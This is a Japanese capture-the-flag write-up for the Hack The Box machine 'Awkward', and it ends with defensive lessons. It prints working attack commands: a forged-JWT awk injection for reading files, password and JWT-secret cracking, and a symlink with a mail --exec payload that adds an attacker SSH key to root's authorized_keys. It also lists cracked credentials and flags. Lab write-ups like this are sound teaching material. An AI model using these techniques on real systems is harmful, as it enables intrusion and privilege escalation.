Hack The BoxのWriteup(Awkward)[Medium]

※本サイトはアフィリエイト広告を利用しています。
広告

HackTheBox: Awkward — 全実行コマンド・実行結果レポート
Nmap スキャン
22/80のみ
/api/staff-details 認証バイパス
token Cookie未送信でハッシュ全件取得
hashcat + JWT弱鍵クラック
chris123 / 123beany123
JWT偽造 + awk コマンドインジェクション
/api/all-leave LFI
bean SSH
backup→xpadメモ→平文PW、user.txt ✓
Store world-writable ディレクトリ
symlink + mail –exec 注入
leave request トリガー
root権限 awk→mail 実行
root SSH
root.txt ✓

ポートスキャン

BASH
nmap -sV -sC -p 22,80 10.129.228.81
RESULT
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH
80/tcp open  http    nginx
|_http-title: Hat Valley
ℹ️
/etc/hostshat-valley.htb を登録すると Vue.js 製の SPA (帽子屋「Hat Valley」の社内HRシステム) が表示される。

サブドメイン探索

BASH
wfuzz -u http://hat-valley.htb -H "Host: FUZZ.hat-valley.htb" \
  -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt --hh 132
RESULT
000000081:   401   7 L   12 W   188 Ch   "store"
ℹ️
store.hat-valley.htb を発見(Basic認証で保護)。/etc/hosts に追記。
PHASE 2

HR サイト調査 & API エンドポイント特定

クライアントサイド Vue.js ソースから API 一覧を把握

NOTE
ブラウザ開発者ツールでフロントエンドの JS を確認すると、以下の API が
定義されていることがわかる:

  GET  /api/all-leave        (引数なし)
  POST /api/submit-leave     (reason, start, end)
  POST /api/login            (username, password)
  GET  /api/staff-details    (引数なし)
  GET  /api/store-status     (url パラメータ)

ルーティングガードは "token" Cookie が "guest" かどうかだけを見ており、
DevTools でこの Cookie を任意の文字列 (例: "0xdf") に書き換えるだけで
ログイン画面をバイパスして /dashboard 等の画面自体は閲覧できてしまう
(ただし裏側のAPI呼び出しは別途 JWT 検証が効くため、これだけではデータは
取得できない)。
PHASE 3

token Cookie 欠落認証バイパス & JWT 偽造

/api/staff-details の認証バイパスでハッシュ窃取

NOTE
各エンドポイントの Express サーバー側コード (後述の方法でソース入手) は
以下のロジックになっている:

  const user_token = req.cookies.token
  var authFailed = false
  var user = null
  if (user_token) {
      const decodedToken = jwt.verify(user_token, TOKEN_SECRET)
      if (!decodedToken.username) { authFailed = true }
      else { user = decodedToken.username }
  }
  if (authFailed) return res.status(401).json({Error: "Invalid Token"})
  ...

"token" Cookie が全く送られてこない場合、if(user_token) ブロック自体が
スキップされ authFailed は false のまま残る。/api/staff-details は
この user の中身を検証せず全件返す実装になっているため、Cookie を
一切送らないリクエストだけで認証を完全にバイパスできる。
BASH
curl -s http://hat-valley.htb/api/staff-details | jq
RESULT
[
  {
    "username": "christine.wool",
    "password": "6529fc6e43f9061ff4eaa806b087b13747fbe8ae0abfd396a5c4cb97c5941649",
    "fullname": "Christine Wool", "role": "Founder, CEO", ...
  },
  { "username": "christopher.jones", "password": "...", ... },
  ...
]
認証バイパス成功。 全スタッフの無ソルト SHA-256 パスワードハッシュを窃取。

hashcat でパスワードをクラック

BASH
hashcat -m 1400 -a 0 staff_hashes.txt /usr/share/wordlists/rockyou.txt
hashcat -m 1400 staff_hashes.txt /usr/share/wordlists/rockyou.txt --show
RESULT
6529fc6e...:christopher.jones の平文 → chris123
BASH
curl -s http://hat-valley.htb/api/login -H "Content-Type: application/json" \
  -d '{"username":"christopher.jones","password":"chris123"}' -c cookies.txt
christopher.jones としてログインでき、正規の署名付き JWT を取得。

API ドキュメント発見 (SSRF) とソースコード入手

NOTE
ダッシュボードの「Online Store Status」ボタンは /api/store-status?url=... を
叩く。url パラメータを操作すると SSRF が可能で、wfuzz でポートスキャンすると
127.0.0.1:3002 で稼働する Express の自動生成 API ドキュメントを発見できる。
このドキュメントには各エンドポイントの「サーバー側ソースコード」がそのまま
掲載されており (開発用ドキュメント生成ツールの設定ミス)、脆弱なロジックを
直接読める。
BASH
curl -s 'http://hat-valley.htb/api/store-status?url=%22http:%2F%2F127.0.0.1:3002%22'
RESULT (抜粋: /api/all-leave のソース)
const badInUser = bad.some(char => user.includes(char));
if (badInUser) { return res.status(500).send("Bad character detected."); }
exec("awk '/" + user + "/' /var/www/private/leave_requests.csv", ...)
🚨
脆弱性発見。 JWT の username フィールドの値が、記号のブラック リストフィルタ (; & | > < * ? ` $ ( ) { } [ ] ! #) を通過した後、そのまま awk '/<username>/' のパターン部分へ埋め込まれる。シングルクォート ' はブラックリストに含まれていないため、awk のコマンドライン構文自体を 壊してファイルパスを注入できる (GTFOBins awk の ファイル読み取りテクニック)。

JWT 署名鍵のクラック & 任意ユーザー名での JWT 偽造

BASH
# John The Ripper の jwt フォーマットで署名鍵をクラック
john --wordlist=/usr/share/wordlists/rockyou.txt jwt.txt
john --show jwt.txt
RESULT
JWT secret: 123beany123
PYTHON (任意ペイロードを持つ JWT を自作)
import jwt
payload_user = "/' /etc/passwd '/dud"   # awk構文を壊してファイル読み取りへ誘導
token = jwt.encode({"username": payload_user, "iat": "1644922420"},
                    "123beany123", algorithm="HS256")
署名鍵が判明したため、username フィールドに任意の文字列 (awk への インジェクションペイロードを含む) を持つ JWT を自由に偽造できるようになった。
PHASE 4

awk コマンドインジェクション LFI → bean SSH → user.txt

任意ファイル読み取り (LFI) の実証

NOTE
偽造した username = "/' <読みたいファイル> '/dud" を JWT に埋め込むと、
サーバー側で実行される awk コマンドは実質的に以下と等価になる:

  awk '/' <file> '/dud' /var/www/private/leave_requests.csv

シングルクォートによって awk のパターン部分が終了し、続く文字列が
「読み込むファイル名」として awk に渡る。'/dud' はダミーの2つ目の
パターンで、これにより awk は指定ファイルの中身をそのまま標準出力へ
書き出す (GTFOBins の定番テクニック)。
BASH
curl -s http://hat-valley.htb/api/all-leave -b "token=$FORGED_JWT"
RESULT (/etc/passwd の中身がそのまま返る)
root:x:0:0:root:/root:/bin/bash
...
bean:x:1000:1000:,,,:/home/bean:/bin/bash
...
任意ファイル読み取り成功。 一般ユーザー bean の存在を確認。

bean のホームディレクトリを辿りバックアップスクリプトを発見

BASH
# .bashrc → 定期実行される backup_home.sh の存在を確認
curl -s http://hat-valley.htb/api/all-leave -b "token=$(forge /home/bean/.bashrc)"
curl -s http://hat-valley.htb/api/all-leave -b "token=$(forge /home/bean/Documents/backup_home.sh)"
RESULT (backup_home.sh 抜粋)
tar -czvf /home/bean/Documents/backup/bean_backup_final.tar.gz ...

バックアップアーカイブを LFI でダウンロードし展開

BASH
curl -s http://hat-valley.htb/api/all-leave \
  -b "token=$(forge /home/bean/Documents/backup/bean_backup_final.tar.gz)" \
  -o bean_backup_final.tar.gz

tar xzvf bean_backup_final.tar.gz        # 外側のtar.gz
tar xzvf bean_backup.tar.gz              # さらに内側のtar.gz (二重圧縮)
RESULT
.config/xpad/content-XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX が展開される
ℹ️
xpad は GNOME 向けの付箋アプリ。そのメモファイルが展開されたバックアップ内に 残っており、中身を確認すると SSH パスワードらしきメモが記載されている。
BASH
cat .config/xpad/content-*
RESULT
bean.hill
014mrbeanrules!#P

SSH ログイン & user.txt 取得

BASH
sshpass -p '014mrbeanrules!#P' ssh bean@10.129.228.81 "id; cat ~/user.txt"
RESULT
uid=1000(bean) gid=1000(bean) groups=1000(bean)
09b0f7e8d0723a52919a95fe5e9f2d37
user.txt — bean
09b0f7e8d0723a52919a95fe5e9f2d37
PHASE 5

Store の書込み可能ディレクトリ悪用 → root.txt

world-writable なディレクトリを発見

BASH (bean シェル内)
bean@awkward:~$ ls -ld /var/www/store/cart /var/www/store/product-details
RESULT
drwxrwxrwx 2 root root 4096 ... /var/www/store/cart
drwxrwxrwx 2 root root 4096 ... /var/www/store/product-details
ℹ️
Store アプリの cart_actions.php (add-to-cart 処理) は item パラメータ (product-details 側のファイル名) の妥当性は検証するが、user パラメータ (cart 側の書き込み先ファイル名) は検証しない。しかも root 権限で動く リーブリクエスト処理スクリプトが leave_requests.csv の内容 (ユーザー名部分) をメール件名にそのまま渡して mail コマンドを実行している (pspy で確認済み: mail -s "Leave Request: <username>" christine)。

シンボリックリンクで leave_requests.csv への書き込み経路を作る

BASH
bean@awkward:~$ ln -sf /var/www/private/leave_requests.csv /var/www/store/cart/fakecart
ℹ️
cart 内のファイル (通常は各顧客のカート内容を保存するファイル) を、 機密ファイル leave_requests.csv へのシンボリックリンクに差し替える。 add-to-cart 処理がこのファイルへ書き込む操作を行うと、実際には leave_requests.csv が書き換えられる。

GTFOBins の mail –exec を仕込んだ悪性商品データを設置

BASH (公開鍵注入用スクリプトを事前配置)
bean@awkward:~$ echo "$(cat ~/.ssh/attacker_id_rsa.pub)" > /tmp/.awk_id_rsa.pub
bean@awkward:~$ cat > /tmp/.awk_executeme.sh << 'EOF'
#!/bin/bash
mkdir -p /root/.ssh
cat /tmp/.awk_id_rsa.pub >> /root/.ssh/authorized_keys
chmod -R 700 /root/.ssh
EOF
bean@awkward:~$ chmod +x /tmp/.awk_executeme.sh
BASH (mail –exec ペイロードを仕込んだ商品データ)
bean@awkward:~$ cat > /var/www/store/product-details/999.txt << 'EOF'
***Hat Valley Product***
pwned --exec='!/tmp/.awk_executeme.sh'
EOF
ℹ️
GTFOBins mail--exec=!<コマンド> フラグは、mail コマンドラインオプションとして 埋め込まれると任意コマンドを実行する。leave_requests.csv の「ユーザー名」 フィールドとしてこの文字列が渡ることで、root 権限で動く mail 呼び出しに フラグとして注入される。

Store へ add-to-cart リクエストを送信

BASH
curl -u admin:'014mrbeanrules!#P' http://store.hat-valley.htb/cart_actions.php \
  -d "item=999&user=fakecart&action=add_item"
ℹ️
Store の Basic 認証は bean のパスワードが使い回されている (admin: 014mrbeanrules!#P)。これで fakecart (実体は leave_requests.csv への シンボリックリンク) に悪性ペイロードが書き込まれる。

christopher.jones で新規リーブリクエストを送信し root 処理をトリガー

BASH
token=$(curl -s http://hat-valley.htb/api/login -H "Content-Type: application/json" \
  -d '{"username":"christopher.jones","password":"chris123"}' | jq -r .token)

curl -s http://hat-valley.htb/api/submit-leave -H "Content-Type: application/json" \
  -b "token=$token" \
  -d '{"reason":"Testing","start":"01/01/2023","end":"01/02/2023"}'
RESULT
Successfully added new leave request

# root権限のcron/バックグラウンド処理がleave_requests.csvを検知し
# awk '/christopher.jones/' ... → mail 呼び出しを実行
# leave_requests.csv内の悪性行 ("pwned --exec=...") も一緒に処理され
# mail コマンドへ --exec フラグとして注入される
⚠️
本家ウォークスルーは /api/leave ではなく /api/submit-leave が 正しいエンドポイント名であると明記している (API ドキュメント自動生成ツールの ソースコードにも明記あり)。エンドポイント名を誤ると 404 でトリガーされず 処理全体が失敗する。

SSH 公開鍵認証で root ログイン & root.txt 取得

BASH
# root/.ssh/authorized_keys への公開鍵追記が反映されるまで少し待つ
sleep 10
ssh -i attacker_id_rsa root@10.129.228.81 "cat /root/root.txt"
RESULT
f7ef9e574fbb0f67418379f139ec98a2
root.txt — root (mail --exec flag injection)
f7ef9e574fbb0f67418379f139ec98a2
権限昇格成功。 root 権限で実行されたスクリプトが攻撃者の公開鍵を /root/.ssh/authorized_keys に追記し、SSH 公開鍵認証で直接 root シェルを取得できた。
SUMMARY

攻略サマリー & 教訓

取得フラグ

user.txt — bean
09b0f7e8d0723a52919a95fe5e9f2d37
root.txt — root (mail --exec flag injection)
f7ef9e574fbb0f67418379f139ec98a2

使用した脆弱性

脆弱性 対象 影響 深刻度 利用方法
token Cookie 欠落認証バイパス /api/staff-details 全スタッフのパスワードハッシュ漏洩 High Cookie 自体を送らないと JWT 検証ロジックがスキップされ authFailed が false のまま通過
JWT 弱い署名鍵 HRシステムのJWT (HS256) 任意ユーザーとしてのJWT偽造 Medium John The Ripper の jwt フォーマット + rockyou.txt で署名鍵 "123beany123" をクラック
awk コマンドインジェクション (LFI) /api/all-leave 任意ファイル読み取り Critical ブラックリストがシングルクォートを見落としており、JWTのusernameフィールドでawkのパターン構文を破壊しGTFOBinsのファイル読み取り技法を注入
world-writable ディレクトリ + mail --exec 注入 /var/www/store/{cart,product-details} + root権限mail呼び出し root権限昇格 Critical symlinkで機密ファイルへの書込み経路を作り、GTFOBinsのmail --execフラグをleave_requests.csv経由でroot権限のmailコマンドへ注入

攻撃チェーン全体の流れ

#フェーズ技術取得情報
1偵察nmap + サブドメインFuzz22/80、store.hat-valley.htb発見
2API調査Vue.jsソース解析 + SSRFでAPIドキュメント発見全エンドポイント仕様とサーバー側ソースコード入手
3認証バイパス+クラックCookie欠落バイパス + hashcat + Johnchristopher.jones の正規JWT、署名鍵"123beany123"
4LFI+横展開awkコマンドインジェクション + バックアップ展開user.txt 取得 (bean)
5権限昇格symlink + mail --exec 注入root.txt 取得

学んだ教訓 & 防御策

問題点防御策
認証トークンの「存在確認」と「検証」のロジックが分離しており、トークン未送信時に検証自体がスキップされる 「トークンが存在しない」ことと「トークンが無効」であることを同じ扱い (常に401拒否) にする。デフォルト拒否 (fail-closed) を徹底する。
JWT の署名鍵が弱い・辞書に含まれる文字列 署名鍵は十分なエントロピーを持つランダム値を使用し、定期的にローテーションする。
ユーザー制御の値をコマンドライン文字列へ直接埋め込み、記号のブラックリストだけで対策しようとしている (シングルクォート漏れ) シェルコマンドを動的に組み立てず、引数配列を渡す exec 系API (execFile等) を使う。ブラックリストでなくホワイトリスト (英数字のみ許可等) で検証する。
アプリケーションディレクトリの一部が world-writable になっている Webアプリが書き込む必要のあるディレクトリは実行ユーザーのみに権限を絞り、symlink攻撃を防ぐため書き込み時に realpath 検証やO_NOFOLLOWを使う。
ユーザー制御可能な値 (leave_requests.csv内のユーザー名) をroot権限プロセスの外部コマンド引数にそのまま渡している root権限で実行するスクリプトは外部コマンドへ渡す値を厳格にサニタイズ・検証する。可能な限りroot権限での外部コマンド実行自体を避ける。
HackTheBox: Awkward | 完全攻略レポート